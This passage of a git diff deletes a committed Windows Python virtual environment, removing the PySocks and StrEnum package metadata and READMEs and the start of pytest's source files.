diff --git a/venv/.gitignore b/venv/.gitignore deleted file mode 100644 index 49b53dcfd66bcbbee1f9f854a995842a8263d3d3..0000000000000000000000000000000000000000 --- a/venv/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -# Created by venv; see https://docs.python.org/3/library/venv.html -* diff --git a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/INSTALLER b/venv/Lib/site-packages/PySocks-1.7.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/LICENSE b/venv/Lib/site-packages/PySocks-1.7.1.dist-info/LICENSE deleted file mode 100644 index 04b6b1f37c4dffb82942cdcc2b77092798ca4aa2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ -Copyright 2006 Dan-Haim. All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. -3. Neither the name of Dan Haim nor the names of his contributors may be used - to endorse or promote products derived from this software without specific - prior written permission. - -THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO -EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA -OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT -OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. diff --git a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/METADATA b/venv/Lib/site-packages/PySocks-1.7.1.dist-info/METADATA deleted file mode 100644 index ae2ae3419c995ad3a295e6224f2844875d6c0dba..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/METADATA +++ /dev/null @@ -1,321 +0,0 @@ -Metadata-Version: 2.1 -Name: PySocks -Version: 1.7.1 -Summary: A Python SOCKS client module. See https://github.com/Anorov/PySocks for more information. -Home-page: https://github.com/Anorov/PySocks -Author: Anorov -Author-email: anorov.vorona@gmail.com -License: BSD -Keywords: socks,proxy -Platform: UNKNOWN -Classifier: Programming Language :: Python :: 2 -Classifier: Programming Language :: Python :: 2.7 -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.4 -Classifier: Programming Language :: Python :: 3.5 -Classifier: Programming Language :: Python :: 3.6 -Requires-Python: >=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.* -Description-Content-Type: text/markdown - -PySocks -======= - -PySocks lets you send traffic through SOCKS and HTTP proxy servers. It is a modern fork of [SocksiPy](http://socksipy.sourceforge.net/) with bug fixes and extra features. - -Acts as a drop-in replacement to the socket module. Seamlessly configure SOCKS proxies for any socket object by calling `socket_object.set_proxy()`. - ----------------- - -Features -======== - -* SOCKS proxy client for Python 2.7 and 3.4+ -* TCP supported -* UDP mostly supported (issues may occur in some edge cases) -* HTTP proxy client included but not supported or recommended (you should use urllib2's or requests' own HTTP proxy interface) -* urllib2 handler included. `pip install` / `setup.py install` will automatically install the `sockshandler` module. - -Installation -============ - - pip install PySocks - -Or download the tarball / `git clone` and... - - python setup.py install - -These will install both the `socks` and `sockshandler` modules. - -Alternatively, include just `socks.py` in your project. - --------------------------------------------- - -*Warning:* PySocks/SocksiPy only supports HTTP proxies that use CONNECT tunneling. Certain HTTP proxies may not work with this library. If you wish to use HTTP (not SOCKS) proxies, it is recommended that you rely on your HTTP client's native proxy support (`proxies` dict for `requests`, or `urllib2.ProxyHandler` for `urllib2`) instead. - --------------------------------------------- - -Usage -===== - -## socks.socksocket ## - - import socks - - s = socks.socksocket() # Same API as socket.socket in the standard lib - - s.set_proxy(socks.SOCKS5, "localhost") # SOCKS4 and SOCKS5 use port 1080 by default - # Or - s.set_proxy(socks.SOCKS4, "localhost", 4444) - # Or - s.set_proxy(socks.HTTP, "5.5.5.5", 8888) - - # Can be treated identical to a regular socket object - s.connect(("www.somesite.com", 80)) - s.sendall("GET / HTTP/1.1 ...") - print s.recv(4096) - -## Monkeypatching ## - -To monkeypatch the entire standard library with a single default proxy: - - import urllib2 - import socket - import socks - - socks.set_default_proxy(socks.SOCKS5, "localhost") - socket.socket = socks.socksocket - - urllib2.urlopen("http://www.somesite.com/") # All requests will pass through the SOCKS proxy - -Note that monkeypatching may not work for all standard modules or for all third party modules, and generally isn't recommended. Monkeypatching is usually an anti-pattern in Python. - -## urllib2 Handler ## - -Example use case with the `sockshandler` urllib2 handler. Note that you must import both `socks` and `sockshandler`, as the handler is its own module separate from PySocks. The module is included in the PyPI package. - - import urllib2 - import socks - from sockshandler import SocksiPyHandler - - opener = urllib2.build_opener(SocksiPyHandler(socks.SOCKS5, "127.0.0.1", 9050)) - print opener.open("http://www.somesite.com/") # All requests made by the opener will pass through the SOCKS proxy - --------------------------------------------- - -Original SocksiPy README attached below, amended to reflect API changes. - --------------------------------------------- - -SocksiPy - -A Python SOCKS module. - -(C) 2006 Dan-Haim. All rights reserved. - -See LICENSE file for details. - - -*WHAT IS A SOCKS PROXY?* - -A SOCKS proxy is a proxy server at the TCP level. In other words, it acts as -a tunnel, relaying all traffic going through it without modifying it. -SOCKS proxies can be used to relay traffic using any network protocol that -uses TCP. - -*WHAT IS SOCKSIPY?* - -This Python module allows you to create TCP connections through a SOCKS -proxy without any special effort. -It also supports relaying UDP packets with a SOCKS5 proxy. - -*PROXY COMPATIBILITY* - -SocksiPy is compatible with three different types of proxies: - -1. SOCKS Version 4 (SOCKS4), including the SOCKS4a extension. -2. SOCKS Version 5 (SOCKS5). -3. HTTP Proxies which support tunneling using the CONNECT method. - -*SYSTEM REQUIREMENTS* - -Being written in Python, SocksiPy can run on any platform that has a Python -interpreter and TCP/IP support. -This module has been tested with Python 2.3 and should work with greater versions -just as well. - - -INSTALLATION -------------- - -Simply copy the file "socks.py" to your Python's `lib/site-packages` directory, -and you're ready to go. [Editor's note: it is better to use `python setup.py install` for PySocks] - - -USAGE ------- - -First load the socks module with the command: - - >>> import socks - >>> - -The socks module provides a class called `socksocket`, which is the base to all of the module's functionality. - -The `socksocket` object has the same initialization parameters as the normal socket -object to ensure maximal compatibility, however it should be noted that `socksocket` will only function with family being `AF_INET` and -type being either `SOCK_STREAM` or `SOCK_DGRAM`. -Generally, it is best to initialize the `socksocket` object with no parameters - - >>> s = socks.socksocket() - >>> - -The `socksocket` object has an interface which is very similiar to socket's (in fact -the `socksocket` class is derived from socket) with a few extra methods. -To select the proxy server you would like to use, use the `set_proxy` method, whose -syntax is: - - set_proxy(proxy_type, addr[, port[, rdns[, username[, password]]]]) - -Explanation of the parameters: - -`proxy_type` - The type of the proxy server. This can be one of three possible -choices: `PROXY_TYPE_SOCKS4`, `PROXY_TYPE_SOCKS5` and `PROXY_TYPE_HTTP` for SOCKS4, -SOCKS5 and HTTP servers respectively. `SOCKS4`, `SOCKS5`, and `HTTP` are all aliases, respectively. - -`addr` - The IP address or DNS name of the proxy server. - -`port` - The port of the proxy server. Defaults to 1080 for socks and 8080 for http. - -`rdns` - This is a boolean flag than modifies the behavior regarding DNS resolving. -If it is set to True, DNS resolving will be preformed remotely, on the server. -If it is set to False, DNS resolving will be preformed locally. Please note that -setting this to True with SOCKS4 servers actually use an extension to the protocol, -called SOCKS4a, which may not be supported on all servers (SOCKS5 and http servers -always support DNS). The default is True. - -`username` - For SOCKS5 servers, this allows simple username / password authentication -with the server. For SOCKS4 servers, this parameter will be sent as the userid. -This parameter is ignored if an HTTP server is being used. If it is not provided, -authentication will not be used (servers may accept unauthenticated requests). - -`password` - This parameter is valid only for SOCKS5 servers and specifies the -respective password for the username provided. - -Example of usage: - - >>> s.set_proxy(socks.SOCKS5, "socks.example.com") # uses default port 1080 - >>> s.set_proxy(socks.SOCKS4, "socks.test.com", 1081) - -After the set_proxy method has been called, simply call the connect method with the -traditional parameters to establish a connection through the proxy: - - >>> s.connect(("www.sourceforge.net", 80)) - >>> - -Connection will take a bit longer to allow negotiation with the proxy server. -Please note that calling connect without calling `set_proxy` earlier will connect -without a proxy (just like a regular socket). - -Errors: Any errors in the connection process will trigger exceptions. The exception -may either be generated by the underlying socket layer or may be custom module -exceptions, whose details follow: - -class `ProxyError` - This is a base exception class. It is not raised directly but -rather all other exception classes raised by this module are derived from it. -This allows an easy way to catch all proxy-related errors. It descends from `IOError`. - -All `ProxyError` exceptions have an attribute `socket_err`, which will contain either a -caught `socket.error` exception, or `None` if there wasn't any. - -class `GeneralProxyError` - When thrown, it indicates a problem which does not fall -into another category. - -* `Sent invalid data` - This error means that unexpected data has been received from -the server. The most common reason is that the server specified as the proxy is -not really a SOCKS4/SOCKS5/HTTP proxy, or maybe the proxy type specified is wrong. - -* `Connection closed unexpectedly` - The proxy server unexpectedly closed the connection. -This may indicate that the proxy server is experiencing network or software problems. - -* `Bad proxy type` - This will be raised if the type of the proxy supplied to the -set_proxy function was not one of `SOCKS4`/`SOCKS5`/`HTTP`. - -* `Bad input` - This will be raised if the `connect()` method is called with bad input -parameters. - -class `SOCKS5AuthError` - This indicates that the connection through a SOCKS5 server -failed due to an authentication problem. - -* `Authentication is required` - This will happen if you use a SOCKS5 server which -requires authentication without providing a username / password at all. - -* `All offered authentication methods were rejected` - This will happen if the proxy -requires a special authentication method which is not supported by this module. - -* `Unknown username or invalid password` - Self descriptive. - -class `SOCKS5Error` - This will be raised for SOCKS5 errors which are not related to -authentication. -The parameter is a tuple containing a code, as given by the server, -and a description of the -error. The possible errors, according to the RFC, are: - -* `0x01` - General SOCKS server failure - If for any reason the proxy server is unable to -fulfill your request (internal server error). -* `0x02` - connection not allowed by ruleset - If the address you're trying to connect to -is blacklisted on the server or requires authentication. -* `0x03` - Network unreachable - The target could not be contacted. A router on the network -had replied with a destination net unreachable error. -* `0x04` - Host unreachable - The target could not be contacted. A router on the network -had replied with a destination host unreachable error. -* `0x05` - Connection refused - The target server has actively refused the connection -(the requested port is closed). -* `0x06` - TTL expired - The TTL value of the SYN packet from the proxy to the target server -has expired. This usually means that there are network problems causing the packet -to be caught in a router-to-router "ping-pong". -* `0x07` - Command not supported - For instance if the server does not support UDP. -* `0x08` - Address type not supported - The client has provided an invalid address type. -When using this module, this error should not occur. - -class `SOCKS4Error` - This will be raised for SOCKS4 errors. The parameter is a tuple -containing a code and a description of the error, as given by the server. The -possible error, according to the specification are: - -* `0x5B` - Request rejected or failed - Will be raised in the event of an failure for any -reason other then the two mentioned next. -* `0x5C` - request rejected because SOCKS server cannot connect to identd on the client - -The Socks server had tried an ident lookup on your computer and has failed. In this -case you should run an identd server and/or configure your firewall to allow incoming -connections to local port 113 from the remote server. -* `0x5D` - request rejected because the client program and identd report different user-ids - -The Socks server had performed an ident lookup on your computer and has received a -different userid than the one you have provided. Change your userid (through the -username parameter of the set_proxy method) to match and try again. - -class `HTTPError` - This will be raised for HTTP errors. The message will contain -the HTTP status code and provided error message. - -After establishing the connection, the object behaves like a standard socket. - -Methods like `makefile()` and `settimeout()` should behave just like regular sockets. -Call the `close()` method to close the connection. - -In addition to the `socksocket` class, an additional function worth mentioning is the -`set_default_proxy` function. The parameters are the same as the `set_proxy` method. -This function will set default proxy settings for newly created `socksocket` objects, -in which the proxy settings haven't been changed via the `set_proxy` method. -This is quite useful if you wish to force 3rd party modules to use a SOCKS proxy, -by overriding the socket object. -For example: - - >>> socks.set_default_proxy(socks.SOCKS5, "socks.example.com") - >>> socket.socket = socks.socksocket - >>> urllib.urlopen("http://www.sourceforge.net/") - - -PROBLEMS ---------- - -Please open a GitHub issue at https://github.com/Anorov/PySocks - - diff --git a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/RECORD b/venv/Lib/site-packages/PySocks-1.7.1.dist-info/RECORD deleted file mode 100644 index 1157677eb9519adbe398efaaa113606e4be3e2b9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/RECORD +++ /dev/null @@ -1,11 +0,0 @@ -PySocks-1.7.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -PySocks-1.7.1.dist-info/LICENSE,sha256=cCfiFOAU63i3rcwc7aWspxOnn8T2oMUsnaWz5wfm_-k,1401 -PySocks-1.7.1.dist-info/METADATA,sha256=zbQMizjPOOP4DhEiEX24XXjNrYuIxF9UGUpN0uFDB6Y,13235 -PySocks-1.7.1.dist-info/RECORD,, -PySocks-1.7.1.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -PySocks-1.7.1.dist-info/WHEEL,sha256=t_MpApv386-8PVts2R6wsTifdIn0vbUDTVv61IbqFC8,92 -PySocks-1.7.1.dist-info/top_level.txt,sha256=TKSOIfCFBoK9EY8FBYbYqC3PWd3--G15ph9n8-QHPDk,19 -__pycache__/socks.cpython-314.pyc,, -__pycache__/sockshandler.cpython-314.pyc,, -socks.py,sha256=xOYn27t9IGrbTBzWsUUuPa0YBuplgiUykzkOB5V5iFY,31086 -sockshandler.py,sha256=2SYGj-pwt1kjgLoZAmyeaEXCeZDWRmfVS_QG6kErGtY,3966 diff --git a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/REQUESTED b/venv/Lib/site-packages/PySocks-1.7.1.dist-info/REQUESTED deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/WHEEL b/venv/Lib/site-packages/PySocks-1.7.1.dist-info/WHEEL deleted file mode 100644 index 129a67351e93fc86bf4894576eb4a995038f412a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: bdist_wheel (0.33.3) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/top_level.txt b/venv/Lib/site-packages/PySocks-1.7.1.dist-info/top_level.txt deleted file mode 100644 index 9476163ae51c2dba237187f3b76d5ff46e40892f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/PySocks-1.7.1.dist-info/top_level.txt +++ /dev/null @@ -1,2 +0,0 @@ -socks -sockshandler diff --git a/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/INSTALLER b/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/LICENSE b/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/LICENSE deleted file mode 100644 index 752c7bda915a450d1c67bf5e47a37811fa1ceb2f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2019 James C Sinclair - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/METADATA b/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/METADATA deleted file mode 100644 index a8a8f428802aa158653c36e6843a243cba0874ce..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/METADATA +++ /dev/null @@ -1,211 +0,0 @@ -Metadata-Version: 2.1 -Name: StrEnum -Version: 0.4.15 -Summary: An Enum that inherits from str. -Home-page: https://github.com/irgeek/StrEnum -Author: James Sinclair -Author-email: james@nurfherder.com -Classifier: Development Status :: 5 - Production/Stable -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: License :: OSI Approved :: MIT License -Classifier: Operating System :: OS Independent -Description-Content-Type: text/markdown -License-File: LICENSE -Provides-Extra: docs -Requires-Dist: sphinx ; extra == 'docs' -Requires-Dist: sphinx-rtd-theme ; extra == 'docs' -Requires-Dist: myst-parser[linkify] ; extra == 'docs' -Provides-Extra: release -Requires-Dist: twine ; extra == 'release' -Provides-Extra: test -Requires-Dist: pytest ; extra == 'test' -Requires-Dist: pytest-black ; extra == 'test' -Requires-Dist: pytest-cov ; extra == 'test' -Requires-Dist: pytest-pylint ; extra == 'test' -Requires-Dist: pylint ; extra == 'test' - -# StrEnum - -[![Build Status](https://github.com/irgeek/StrEnum/workflows/Python%20package/badge.svg)](https://github.com/irgeek/StrEnum/actions) - -StrEnum is a Python `enum.Enum` that inherits from `str` to complement -`enum.IntEnum` in the standard library. Supports python 3.7+. - -## Installation - -You can use [pip](https://pip.pypa.io/en/stable/) to install. - -```bash -pip install StrEnum -``` - -## Usage - -```python -from enum import auto -from strenum import StrEnum - - -class HttpMethod(StrEnum): - GET = auto() - HEAD = auto() - POST = auto() - PUT = auto() - DELETE = auto() - CONNECT = auto() - OPTIONS = auto() - TRACE = auto() - PATCH = auto() - - -assert HttpMethod.GET == "GET" - -# You can use StrEnum values just like strings: - -import urllib.request - -req = urllib.request.Request('https://www.python.org/', method=HttpMethod.HEAD) -with urllib.request.urlopen(req) as response: - html = response.read() - -assert len(html) == 0 # HEAD requests do not (usually) include a body -``` - -There are classes whose `auto()` value folds each member name to upper or lower -case: - -```python -from enum import auto -from strenum import LowercaseStrEnum, UppercaseStrEnum - - -class Tag(LowercaseStrEnum): - Head = auto() - Body = auto() - Div = auto() - - -assert Tag.Head == "head" -assert Tag.Body == "body" -assert Tag.Div == "div" - - -class HttpMethod(UppercaseStrEnum): - Get = auto() - Head = auto() - Post = auto() - - -assert HttpMethod.Get == "GET" -assert HttpMethod.Head == "HEAD" -assert HttpMethod.Post == "POST" -``` - -As well as classes whose `auto()` value converts each member name to camelCase, -PascalCase, kebab-case, snake_case and MACRO_CASE: - -```python -from enum import auto -from strenum import CamelCaseStrEnum, PascalCaseStrEnum -from strenum import KebabCaseStrEnum, SnakeCaseStrEnum -from strenum import MacroCaseStrEnum - - -class CamelTestEnum(CamelCaseStrEnum): - OneTwoThree = auto() - - -class PascalTestEnum(PascalCaseStrEnum): - OneTwoThree = auto() - - -class KebabTestEnum(KebabCaseStrEnum): - OneTwoThree = auto() - - -class SnakeTestEnum(SnakeCaseStrEnum): - OneTwoThree = auto() - - -class MacroTestEnum(MacroCaseStrEnum): - OneTwoThree = auto() - - -assert CamelTestEnum.OneTwoThree == "oneTwoThree" -assert PascalTestEnum.OneTwoThree == "OneTwoThree" -assert KebabTestEnum.OneTwoThree == "one-two-three" -assert SnakeTestEnum.OneTwoThree == "one_two_three" -assert MacroTestEnum.OneTwoThree == "ONE_TWO_THREE" -``` - -As with any Enum you can, of course, manually assign values. - -```python -from strenum import StrEnum - - -class Shape(StrEnum): - CIRCLE = "Circle" - - -assert Shape.CIRCLE == "Circle" -``` - -Doing this with the case-changing classes, though, won't manipulate -values--whatever you assign is the value they end up with. - -```python -from strenum import KebabCaseStrEnum - - -class Shape(KebabCaseStrEnum): - CIRCLE = "Circle" - - -# This will raise an AssertionError because the value wasn't converted to kebab-case. -assert Shape.CIRCLE == "circle" -``` - -## Contributing - -Pull requests are welcome. For major changes, please open an issue first to -discuss what you would like to change. - -Please ensure tests pass before submitting a PR. This repository uses -[Black](https://black.readthedocs.io/en/stable/) and -[Pylint](https://www.pylint.org/) for consistency. Both are run automatically -as part of the test suite. - -## Running the tests - -Tests can be run using `make`: - -``` -make test -``` - -This will create a virutal environment, install the module and its test -dependencies and run the tests. Alternatively you can do the same thing -manually: - -``` -python3 -m venv .venv -.venv/bin/pip install .[test] -.venv/bin/pytest -``` - -## License - -[MIT](https://choosealicense.com/licenses/mit/) - -**N.B. Starting with Python 3.11, `enum.StrEnum` is available in the standard -library. This implementation is _not_ a drop-in replacement for the standard -library implementation. Specifically, the Python devs have decided to case fold -name to lowercase by default when `auto()` is used which I think violates the -principle of least surprise.** diff --git a/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/RECORD b/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/RECORD deleted file mode 100644 index c832c3b0f8dac28c079a2a7805c6fbc16a60a9df..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/RECORD +++ /dev/null @@ -1,18 +0,0 @@ -StrEnum-0.4.15.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -StrEnum-0.4.15.dist-info/LICENSE,sha256=vNcz0KRlIhYrldurYffNwcPjaGHfoSfWikQ1JA02rTY,1073 -StrEnum-0.4.15.dist-info/METADATA,sha256=xLhPNsn2ieV9BR8L-FvFTMMhG6x99Rj536PM2hf1KII,5290 -StrEnum-0.4.15.dist-info/RECORD,, -StrEnum-0.4.15.dist-info/WHEEL,sha256=pkctZYzUS4AYVn6dJ-7367OJZivF2e8RA9b_ZBjif18,92 -StrEnum-0.4.15.dist-info/top_level.txt,sha256=lsVIlgvvAAG9MBoLNwpPgG5wMT33blIUUoJo215Y-N0,8 -strenum/__init__.py,sha256=oOsokqYYQVwTBbjrnXdR89RMcx8q6aGmWl--dlf2VCE,8530 -strenum/__init__.pyi,sha256=-qJs9THlVGY3_o_bVeE7jUevjWteU_zOy7cZkp3MGzA,1415 -strenum/__pycache__/__init__.cpython-314.pyc,, -strenum/__pycache__/_name_mangler.cpython-314.pyc,, -strenum/__pycache__/_version.cpython-314.pyc,, -strenum/__pycache__/mixins.cpython-314.pyc,, -strenum/_name_mangler.py,sha256=o11M5-bURW2RBvRTYXFQIPNeqLzburdoWLIqk8X3ydw,3397 -strenum/_name_mangler.pyi,sha256=91p30d_kMAFsX5r9pqvSeordIf4VONDymQhcEvot2XA,551 -strenum/_version.py,sha256=ylMBlzCLrUBhNvBnKtzTqGzDqHnEmoQkm3K6p5Gx5ms,498 -strenum/mixins.py,sha256=BtOEx1hrAZ1YhDURDjLTrunKVneVtezSfkBq3sZXqxE,2042 -strenum/mixins.pyi,sha256=lV6wiQAxZMvMSUUtnxzV1QSsyBDzgpobywiGCwRwm30,387 -strenum/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 diff --git a/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/WHEEL b/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/WHEEL deleted file mode 100644 index 1f37c02f2eb2e26b306202feaccb31e522b8b169..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: bdist_wheel (0.40.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/top_level.txt b/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/top_level.txt deleted file mode 100644 index 3cfc7f48831b5ef5131b4d5ef558dd5f75fa1f15..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/StrEnum-0.4.15.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -strenum diff --git a/venv/Lib/site-packages/_cffi_backend.cp314-win_amd64.pyd b/venv/Lib/site-packages/_cffi_backend.cp314-win_amd64.pyd deleted file mode 100644 index aa4a0515ad9eb2aade038ee8911d52cb3b7257a8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_cffi_backend.cp314-win_amd64.pyd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:9e99b2184c60f21a88cafc374386ded3559e8694ed7cf111f2869e066d303334 -size 181248 diff --git a/venv/Lib/site-packages/_pytest/__init__.py b/venv/Lib/site-packages/_pytest/__init__.py deleted file mode 100644 index 8eb8ec9605c73aeba33b5a2031d59a84d6841225..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/__init__.py +++ /dev/null @@ -1,13 +0,0 @@ -from __future__ import annotations - - -__all__ = ["__version__", "version_tuple"] - -try: - from ._version import version as __version__ - from ._version import version_tuple -except ImportError: # pragma: no cover - # broken installation, we don't even try - # unknown only works because we do poor mans version compare - __version__ = "unknown" - version_tuple = (0, 0, "unknown") diff --git a/venv/Lib/site-packages/_pytest/_argcomplete.py b/venv/Lib/site-packages/_pytest/_argcomplete.py deleted file mode 100644 index 59426ef949ed9276b5708f9f44e6893f2333f2e1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/_argcomplete.py +++ /dev/null @@ -1,117 +0,0 @@ -"""Allow bash-completion for argparse with argcomplete if installed. - -Needs argcomplete>=0.5.6 for python 3.2/3.3 (older versions fail -to find the magic string, so _ARGCOMPLETE env. var is never set, and -this does not need special code). - -Function try_argcomplete(parser) should be called directly before -the call to ArgumentParser.parse_args(). - -The filescompleter is what you normally would use on the positional -arguments specification, in order to get "dirname/" after "dirn" -instead of the default "dirname ": - - optparser.add_argument(Config._file_or_dir, nargs='*').completer=filescompleter - -Other, application specific, completers should go in the file -doing the add_argument calls as they need to be specified as .completer -attributes as well. (If argcomplete is not installed, the function the -attribute points to will not be used). - -SPEEDUP -======= - -The generic argcomplete script for bash-completion -(/etc/bash_completion.d/python-argcomplete.sh) -uses a python program to determine startup script generated by pip. -You can speed up completion somewhat by changing this script to include - # PYTHON_ARGCOMPLETE_OK -so the python-argcomplete-check-easy-install-script does not -need to be called to find the entry point of the code and see if that is -marked with PYTHON_ARGCOMPLETE_OK. - -INSTALL/DEBUGGING -================= - -To include this support in another application that has setup.py generated -scripts: - -- Add the line: - # PYTHON_ARGCOMPLETE_OK - near the top of the main python entry point. - -- Include in the file calling parse_args(): - from _argcomplete import try_argcomplete, filescompleter - Call try_argcomplete just before parse_args(), and optionally add - filescompleter to the positional arguments' add_argument(). - -If things do not work right away: - -- Switch on argcomplete debugging with (also helpful when doing custom - completers): - export _ARC_DEBUG=1 - -- Run: - python-argcomplete-check-easy-install-script $(which appname) - echo $? - will echo 0 if the magic line has been found, 1 if not. - -- Sometimes it helps to find early on errors using: - _ARGCOMPLETE=1 _ARC_DEBUG=1 appname - which should throw a KeyError: 'COMPLINE' (which is properly set by the - global argcomplete script). -""" - -from __future__ import annotations - -import argparse -from glob import glob -import os -import sys -from typing import Any - - -class FastFilesCompleter: - """Fast file completer class.""" - - def __init__(self, directories: bool = True) -> None: - self.directories = directories - - def __call__(self, prefix: str, **kwargs: Any) -> list[str]: - # Only called on non option completions. - if os.sep in prefix[1:]: - prefix_dir = len(os.path.dirname(prefix) + os.sep) - else: - prefix_dir = 0 - completion = [] - globbed = [] - if "*" not in prefix and "?" not in prefix: - # We are on unix, otherwise no bash. - if not prefix or prefix[-1] == os.sep: - globbed.extend(glob(prefix + ".*")) - prefix += "*" - globbed.extend(glob(prefix)) - for x in sorted(globbed): - if os.path.isdir(x): - x += "/" - # Append stripping the prefix (like bash, not like compgen). - completion.append(x[prefix_dir:]) - return completion - - -if os.environ.get("_ARGCOMPLETE"): - try: - import argcomplete.completers - except ImportError: - sys.exit(-1) - filescompleter: FastFilesCompleter | None = FastFilesCompleter() - - def try_argcomplete(parser: argparse.ArgumentParser) -> None: - argcomplete.autocomplete(parser, always_complete_options=False) - -else: - - def try_argcomplete(parser: argparse.ArgumentParser) -> None: - pass - - filescompleter = None diff --git a/venv/Lib/site-packages/_pytest/_code/__init__.py b/venv/Lib/site-packages/_pytest/_code/__init__.py deleted file mode 100644 index 7f67a2e3e0a6f34e04444d9410f517d59d21c422..0000000000000000000000000000000000000000 --- 